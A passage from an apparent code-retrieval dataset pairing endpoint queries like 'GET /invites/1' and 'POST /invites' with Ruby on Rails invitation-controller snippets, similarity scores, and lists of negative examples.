"def index\n\t\t@users = Invitation.pending_users(params[:page])\n\tend",
"def index\n # first check if user is signed\n if !user_signed_in?\n render :status => 401, :json => {:success => false, :errors => [\"Unauthorized access\"] }\n elsif Invitee.where(:event_id => params[:event_id], :user_id => current_user.id).count <= 0\n # user hasn't been invited to this event, so don't allow them to see informatin about it\n render :status => 401, :json => {:success => false, :errors => [\"Not authorized to view this event\"] }\n else\n render :json => EventTimeUserChoice.joins(:event_time_option => :event)\n .where(:user_id => current_user.id, :events => {:id => params[:event_id]})\n .as_json\n end\n end",
"def index\n @invitecodes = Invitecode.all\n end",
"def index\n @invitaciones = Invitacione.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n invitations = Invitation.where('email = ? AND status = ?', @current_user.email, 'pending')\n invitations_array = []\n\n invitations.each do |inv|\n user = User.find(inv.from_user)\n user_hash = { :id => @current_user.id, :email => user.email, :first_name => user.user_info.first_name, :last_name => user.user_info.last_name }\n\n project = Project.find(inv.project_id)\n project_hash = { :id => project.id , :project_title => project.title, :project_profile => inv.project_profile_id }\n\n invitations_array << { :id => inv.id, :user => user_hash, :project => project_hash, :date => \"#{l inv.created_at, format: :long}\" }\n end\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { render json: invitations_array }\n end\n end",
"def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end",
"def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end",
"def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end",
"def index\n @teams = current_user.teams\n\n @team_invitations = current_user.team_invitations_as_receiver\n end",
"def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end",
"def total_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation\n .where('created_at > ?', since)\n .count\n respond_with json_response('total_invites', count)\n end",
"def find_invitations(opts = {})\n data, _status_code, _headers = find_invitations_with_http_info(opts)\n data\n end",
"def index\n @investigations = Investigation.where(:visible => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @investigations }\n end\n end",
"def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end",
"def find_invite\n @invite = Invite.find(params[:id])\n end",
"def index\n @events = Event.where({ user_id: current_user.id }).order(created_at: :desc)\n @invitations = EventUser.where({ number: current_user.phone }).map { |invite| invite.event }\n \n end",
"def index\n\n @emails = Email.all\n #redirect_to invites_path\n\n end"
] |
[
"0.7958046",
"0.79423165",
"0.79423165",
"0.79423165",
"0.7743506",
"0.76207006",
"0.7491129",
"0.7401899",
"0.72615576",
"0.72603977",
"0.723915",
"0.70882404",
"0.70795256",
"0.70176214",
"0.7009148",
"0.7004193",
"0.6997959",
"0.69858664",
"0.68600833",
"0.6813469",
"0.68075174",
"0.6758864",
"0.67481005",
"0.67217207",
"0.6680267",
"0.6676741",
"0.66583186",
"0.66583186",
"0.66583186",
"0.66485226",
"0.66485226",
"0.664195",
"0.6628262",
"0.6602954",
"0.6602954",
"0.6602954",
"0.6602954",
"0.6593137",
"0.65812194",
"0.65619195",
"0.6551105",
"0.64726204",
"0.6443168",
"0.6440128",
"0.6420216",
"0.641914",
"0.640074",
"0.6382602",
"0.6368071",
"0.6352977",
"0.6349414",
"0.6345683",
"0.63013047",
"0.62972206",
"0.62962395",
"0.6276005",
"0.62626505",
"0.6256977",
"0.6228194",
"0.6220478",
"0.6188907",
"0.61804664",
"0.61405563",
"0.613796",
"0.6097275",
"0.60775214",
"0.60771537",
"0.6069869",
"0.6049956",
"0.60388976",
"0.6024632",
"0.59604096",
"0.59448135",
"0.59433484",
"0.59418184",
"0.59357023",
"0.5921736",
"0.59191376",
"0.5912722",
"0.59081537",
"0.5904587",
"0.5894306",
"0.58886814",
"0.5884552",
"0.5881445",
"0.5881445",
"0.5880585",
"0.5872247",
"0.5846212",
"0.58442163",
"0.58341223",
"0.58278894",
"0.58204186",
"0.5811638",
"0.5810474",
"0.5802508"
] |
0.7668945
|
9
|
GET /invites/1 GET /invites/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def show\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end",
"def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end",
"def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end",
"def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end",
"def show\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_list }\n end\n end",
"def index\n @inviteds = Invited.all\n end",
"def index\n\t\t@guild_invites = @guild.invites.order(\"id DESC\")\n\tend",
"def show\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_status }\n end\n end",
"def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end",
"def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end",
"def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end",
"def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invitations }\n end\n end",
"def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end",
"def index\n @invites = Invite.find(:all, :conditions => \"to_user_id = #{current_user.id} or to_email = '#{current_user.email}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invites }\n end\n end",
"def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end",
"def show\n user = User.find_by(id: params[:id]) #should use session id\n if user\n invitations = user.invitations\n if invitations\n render json: invitations, status: :ok\n else\n head :no_content\n end\n else\n render json: {error: \"User not found\"}, status: :not_found\n end\n end",
"def show\n @invite = @event.invites.find(params[:id])\n end",
"def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend",
"def index\n @title = 'Invitations'\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @invitations }\n end\n end",
"def show\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { render json: @invitee }\n end\n end",
"def index\n @invitees = Invitee.all\n end",
"def index\n @invitees = Invitee.all\n end",
"def index\n @list_invites = ListInvite.all\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitations = Invitation.all\n respond_with(@invitations)\n end",
"def index\n # @invitations = Invitation.all\n end",
"def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end",
"def get_mission_invites\n\t#get all missions of user with invitaion_status = pending\n user = User.exists? (params[:user_id])\n\tif user\n\t\tmissions = user.missions.references( :user_missions).select('missions.id, missions.title, user_missions.invitation_time').where( user_missions:{ invitation_status: PENDING_MESA_INVITATION})\n\t\trespond_to do |format|\n\t\t format.json {render :json=> {:mesa_invites=> missions, :status => true} }\n\t\tend\n else\n\t respond_to do |format|\n\t\t format.json {render :json=> {:error=>'No user exists with id' , :status => false} }\n\t end\n\tend\n end",
"def invited_users\n render json: @moot.list_users_can_vote\n end",
"def invitestatuslist\n @inviteStatus = InviteStatus.find :all\n render :layout => 'plain'\n end",
"def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end",
"def group_invites\n @invites = GroupsController.group_invites current_user\n end",
"def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end",
"def index\n @team_invites = TeamInvite.where(team: current_team)\n end",
"def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end",
"def show\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @maintain_invite_user }\n end\n end",
"def index\n # TODO pull out api key before pushing to github & pull out binding prys\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n subId = message[:data][0][:id]\n else\n # Port is open in our router\n params = { url: SUBSCRIPTION_URL, events: ['invitee.created', 'invitee.canceled'] }\n newRes = HTTParty.post URL, body: params, headers: HEADERS\n message = JSON.parse newRes.body, symbolize_names: true\n # TODO need error handling\n subId = message[:id]\n end\n end\n end",
"def find_invite\n @invite = Invite.find(params[:id])\n end",
"def index\n @invts = Invt.all\n end",
"def new_invites\n self.invites.all(:hide => false)\n end",
"def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end",
"def index\n @user = User.find(params[:user_id]) \n @invitations = @user.invitations\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\nend",
"def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def index\n @invites = current_user.invites.where(is_declined: nil).all\n end",
"def index\n @team = Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end",
"def index\n @invitations = Invitation.where(organization_id: current_user.organization_id).all\n end",
"def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def invite\n @obj['invite']\n end",
"def invite\n @data['invite']\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def invitestatuslist\n @inviteStatus = InviteStatus.all\n render :layout => 'plain'\n end",
"def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @invitation }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def index\n # LE TEMPS DE ...\n if self.admin?\n @invites = Invite.all\n elsif self.check_user && self.check_no_guild\n @invites = Invite.where(:user_id => session[:user_id])\n elsif self.check_user && self.check_is_guild_owner\n @invites = Invite.where(:guild_id => @guild[:id])\n end\n end",
"def show\n @invite_request = InviteRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invite_request }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def index\n @invitations = Invitation.where(receiver_id: current_user.id)\n end",
"def index\n @invs = Inv.all\n end",
"def new\n @invite_list = InviteList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_list }\n end\n end",
"def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end",
"def index\n @invstatuses = Invstatus.all\n end",
"def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end",
"def index\n if params[:admin] == \"1\"\n @invites = Invite.all\n else\n render file: \"#{Rails.root}/public/403.html\", status: 403, layout: false\n end\n end",
"def index\n @invites = current_user.recieved_team_requests\n @sent = current_user.sent_team_requests\n end",
"def show\n render json: @invitation\n end",
"def show\n #@trips = Trip.find params[:user_id]\n @user = User.find(params[:id])\n @invitations = Invitation.where(email: session[:user_email])\n @num_of_invites = @invitations.length\n end",
"def edit\n @invite = Invite.find(params[:id])\n end",
"def new\n @invite_status = InviteStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_status }\n end\n end",
"def index\n @user_invitations = UserInvitation.all\n end",
"def index\n invitations = Invitation.where('email = ? AND status = ?', @current_user.email, 'pending')\n invitations_array = []\n\n invitations.each do |inv|\n user = User.find(inv.from_user)\n user_hash = { :id => @current_user.id, :email => user.email, :first_name => user.user_info.first_name, :last_name => user.user_info.last_name }\n\n project = Project.find(inv.project_id)\n project_hash = { :id => project.id , :project_title => project.title, :project_profile => inv.project_profile_id }\n\n invitations_array << { :id => inv.id, :user => user_hash, :project => project_hash, :date => \"#{l inv.created_at, format: :long}\" }\n end\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { render json: invitations_array }\n end\n end",
"def index\n @invitaciones = Invitacione.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def set_invited\n @invited = Invited.find(params[:id])\n end",
"def show\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @linked_in_invitation }\n end\n end",
"def show\n\t\tif current_invite.nil?\n\t\t\tinvite = Invite.where(:id => params[:id], :secret => params[:secret]).where('expires > ?', Time.now).first\n\t\t\tif invite.present?\n\t\t\t\tsession[:invite_id] = invite.id\n\t\t\tend\n\t\tend\n\tend",
"def show\n @inbox = Inbox.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inbox }\n end\n end",
"def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end",
"def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end",
"def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end",
"def show\n if params[:ids]\n ids = params[:ids].split(\",\")\n @invitation = Invitation.find_by_permalink(ids[0]) \n else\n @invitation = Invitation.find_by_permalink(params[:id]) \n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitation }\n end\n end"
] |
[
"0.76881135",
"0.76881135",
"0.76881135",
"0.74298084",
"0.7380879",
"0.7380879",
"0.7380879",
"0.7380879",
"0.7380879",
"0.7368029",
"0.7330251",
"0.7071977",
"0.70695776",
"0.70695776",
"0.70695776",
"0.70695776",
"0.7046284",
"0.6990816",
"0.69736195",
"0.6952758",
"0.6948298",
"0.6918629",
"0.68219453",
"0.6748931",
"0.67386264",
"0.6738592",
"0.6714972",
"0.6697736",
"0.6694765",
"0.66925645",
"0.66713405",
"0.66403365",
"0.6614667",
"0.6560341",
"0.6550528",
"0.6550528",
"0.6521125",
"0.6510453",
"0.6510453",
"0.6510453",
"0.65042084",
"0.6459765",
"0.64417255",
"0.64011425",
"0.63911676",
"0.6385205",
"0.63798517",
"0.63578373",
"0.6345458",
"0.6341063",
"0.63360524",
"0.6318278",
"0.63172543",
"0.6307853",
"0.6295387",
"0.62950104",
"0.6294981",
"0.6293938",
"0.62835264",
"0.62731165",
"0.6258799",
"0.62487674",
"0.6243526",
"0.6241062",
"0.6212207",
"0.6184886",
"0.6184886",
"0.6184886",
"0.6184886",
"0.6175117",
"0.6169771",
"0.6156344",
"0.6120209",
"0.6120209",
"0.6120209",
"0.6118389",
"0.6108742",
"0.6091496",
"0.6058488",
"0.6048142",
"0.6035393",
"0.60261786",
"0.60191166",
"0.6017697",
"0.59764504",
"0.5964419",
"0.5956543",
"0.59541386",
"0.5937697",
"0.592102",
"0.5915484",
"0.5894064",
"0.5880542",
"0.58722556",
"0.58582836",
"0.5855603",
"0.5818313",
"0.58150667",
"0.5814797",
"0.5814471",
"0.58088887"
] |
0.0
|
-1
|
POST /invites POST /invites.json
|
def create
@invite = Invite.new(invite_params)
@invite.sender_id = current_user.id
if @invite.save
#if the user already exists
if @invite.recipient != nil
#send a notification email
InviteMailer.existing_user_invite(@invite).deliver
#Add the user to the user group
@invite.recipient.user_groups.push(@invite.user_group)
else
InviteMailer.new_user_invite(@invite, new_user_registration_path(:invite_token => @invite.token)).deliver
end
else
format.html { render action: 'new' }
format.json { render json: @invite.errors, status: :unprocessable_entity }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_create_invite_via_API_JSON\r\n get \"/logout\"\r\n post \"/invites.json\", :api_key => 'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n invite = JSON.parse(response.body)\r\n check_new_invite(invite) \r\n end",
"def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end",
"def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end",
"def create\n @invite = @event.invites.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to [@event, @invite], notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@event, @invite] }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invited = Invited.new(invited_params)\n\n respond_to do |format|\n if @invited.save\n format.html { redirect_to @invited, notice: 'Invited was successfully created.' }\n format.json { render :show, status: :created, location: @invited }\n else\n format.html { render :new }\n format.json { render json: @invited.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end",
"def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def create\n @invite = Invite.new(params[:invite])\n @user = current_user\n @user.invites << @invite\n @candidate = current_user.candidate\n @invites = Invite.scoped\n respond_to do |format|\n if @user.save\n InviteMailer.invite_friend(@invite, @user).deliver\n format.html { redirect_to new_invite_path, notice: \"Invitation was successfully sent to #{@invite.name} <#{@invite.email}>\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end",
"def create\n @invite = Invite.new(params[:invite])\n @invite.user_id = current_user.id\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end",
"def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end",
"def invite\n invitation_service.invite(invitation_params)\n end",
"def create\n @users = User.all\n\n @event = current_user.events.build(event_params.except(:invites))\n\n respond_to do |format|\n if @event.save\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:invite]\n @invite = Invite.new(invite_params)\n elsif params[:user_id]\n @invite = Invite.new(:user_id => params[:user_id], :request_id => params[:request_id], :to_id => params[:to_id] )\n end\n @invite.state = 'sent' if @invite.state.blank?\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def index\n @invites = Invite.all\n end",
"def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end",
"def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invite }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_invite(body)\n raise ArgumentError unless body.is_a?(Array)\n raise ArgumentError unless body.first.is_a?(Hash)\n\n api.post('user/invite', body, 'application/json')\n end",
"def invite\n service_response = AdminManagement::AdminUser::Invite::Send.new(params).perform\n render_api_response(service_response)\n end",
"def create\n @invite = Invite.new(invite_params)\n\n if (self.admin? || (self.check_user && self.check_no_guild && self.check_own_invite)) && @invite.save\n render json: @invite, status: :created\n else\n render json: @invite.errors, status: :unprocessable_entity\n end\n end",
"def test_should_not_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def create\n @event = current_user.created_events.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n\n @event.invitees_email.split(',').each do | user_email |\n user = User.find_by(email: user_email)\n @event.invitees << user\n end\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @inviteds = Invited.all\n end",
"def create\n\t\t@guild_invite = GuildInvitMember.new(guild_invite_params)\n\t\t@guild_invite.guild = @guild\n\t\t@guild_invite.by = current_user\n\t\t@guild_invite.state = \"waiting\"\n\n\t\trespond_to do |format|\n\t\t\tif @guild_invite.save\n\t\t\t\tback_page = guild_invites_url\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'Invite was successfully created.' }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @guild_invite.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def accept\n @invite = Invite.find_by(dinner_id: params[:id], invited_id: @current_user.json_hash[:id])\n if @invite\n @acceptance = AttendeeDinner.new\n @acceptance.dinner_id = @invite.dinner_id\n @acceptance.attendee_id = @invite.invited_id\n if @acceptance.valid?\n @acceptance.save\n @invite.delete\n render json: @acceptance\n else\n puts @acceptance.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @acceptance.errors.messages\n }\n end\n end\n end",
"def create\n #assign unpermitted parameter 'entries' to a variable\n entries = params[\"entries\"]\n @invoice = @user.invoices.build(invoice_params)\n #save entries\n @invoice.entries = entries\n if @invoice.save\n render json: @invoice, status: :created, location: api_v1_user_invoice_url(@user, @invoice)\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end",
"def create\n @invite = Invite.new(invite_params)\n @invite.sender_id = current_user.id # set the sender to the current user\n # @invite.invited_at = Time.now.utc\n\n respond_to do |format|\n if @invite.save\n # if the user already exists\n if @invite.recipient != nil\n InvitationMailer.existing_user_invite(@invite).deliver\n @invite.recipient.projects.push(@invite.project)\n flash.now[:notice] = \"User convidado\"\n else\n InvitationMailer.deliver_invitation(@invite, invite_sign_up_url(:invite_token => @invite.token)).deliver\n\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n end\n else\n format.html { redirect_to \"/\", notice: \"Não enviou convite\" }\n # format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invite = Invite.new(params[:invite])\n\n respond_to do |format|\n if @invite.save\n flash[:notice] = 'Invite was successfully created.'\n format.html { redirect_to(@invite) }\n format.xml { render :xml => @invite, :status => :created, :location => @invite }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_and_invitation_studant(params = {})\n run(:post, \"/invitations\", [201,422], JSON.dump(params))\n end",
"def invite\n \n end",
"def create\n successes = []\n (params[:invitations].split(',') || []).each do |name|\n name.strip!\n invitation = @game.invitations.build(:twitter_login => name, :invited_by => current_user)\n successes << name if invitation.save\n # TODO: send actual invitations as DMs from the user??\n # TODO: verify that the listed people are actually followers of the user?\n end\n flash[:notice] = \"Invitations have been sent to the #{successes.length} people you selected\"\n redirect_to(game_path(@game))\n end",
"def create\n @inv = Inv.new(inv_params)\n\n respond_to do |format|\n if @inv.save\n format.html { redirect_to @inv, notice: 'Inv was successfully created.' }\n format.json { render :show, status: :created, location: @inv }\n else\n format.html { render :new }\n format.json { render json: @inv.errors, status: :unprocessable_entity }\n end\n end\n end",
